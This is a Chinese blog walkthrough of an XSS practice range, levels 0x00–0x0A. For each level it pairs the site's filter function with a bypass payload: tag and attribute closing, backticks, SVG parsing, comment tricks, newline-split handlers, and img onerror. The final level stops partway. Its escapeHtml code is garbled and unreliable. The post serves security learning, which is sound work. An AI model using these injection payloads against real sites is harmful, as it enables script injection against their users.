【XSS-Demo】
靶场地址
0x00
基础,没有过滤,直接弹窗
<script>alert(1)</script>
0x01
所有文字当作文本,构造闭合绕过
</textarea><script>alert(1)</script><textarea>
0x02
输入的 值在value中输入,构造闭合
"><script>alert(1)</script>
0x03
过滤代码
function render (input) {
const stripBracketsRe = /[()]/g
input = input.replace(stripBracketsRe, '')
return input
}
正则表达式对小括号过滤,反引号绕过
<script>alert`1`</script>
0x04
过滤代码
function render (input) {
const stripBracketsRe = /[()`]/g
input = input.replace(stripBracketsRe, '')
return input
}
对小括号和反引号进行过滤,通过svg对替换内容进行Unicode编码
<svg><script>alert(1)</script>
0x05
过滤代码
function render (input) {
input = input.replace(/-->/g, '😂')
return '<!-- ' + input + ' -->'
}
将输入都用注释符包起来,也不能用/和-->,通过构造注释符绕过
--!><script>alert(1)</script><!--
0x06
过滤代码
function render (input) {
input = input.replace(/auto|on.*=|>/ig, '_')
return `<input value=1 ${input} type="text">`
}
对=和>替换,通过换行绕过
onmouseover
='alert(1)'
0x07
过滤代码
function render (input) {
const stripTagsRe = /<\/?[^>]+>/gi
input = input.replace(stripTagsRe, '')
return `<article>${input}</article>`
}
输入都在article,且右标签出现会过滤全部内容,通过单标签绕过
<img src=x onerror="alert(1)"
0x08
过滤代码
function render (src) {
src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
return `
<style>
${src}
</style>
`
}
换行绕过
</style
><script>alert(1)</script><style>
0x09
过滤代码
function render (input) {
let domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${input}"></script>`
}
return 'Invalid URL'
}
要求必须带着指定网址:https://www.segmentfault.com,所以添加后构造闭合
https://www.segmentfault.com" onerror="alert(1)
0x0A
过滤代码
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
const domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${escapeHtml(input)}"></script>`
}
return 'Invalid URL'
}
只允许带着合法网址https://www.segmentfault.com,过滤”等字符,先在自己服务器上生成一个js结尾的文件,叫abc.js
alert(1); //记得加分号
这里是js代码,不用通过
本文来自博客园,作者:icui4cu,转载请注明原文链接:https://www.cnblogs.com/icui4cu/p/16029423.html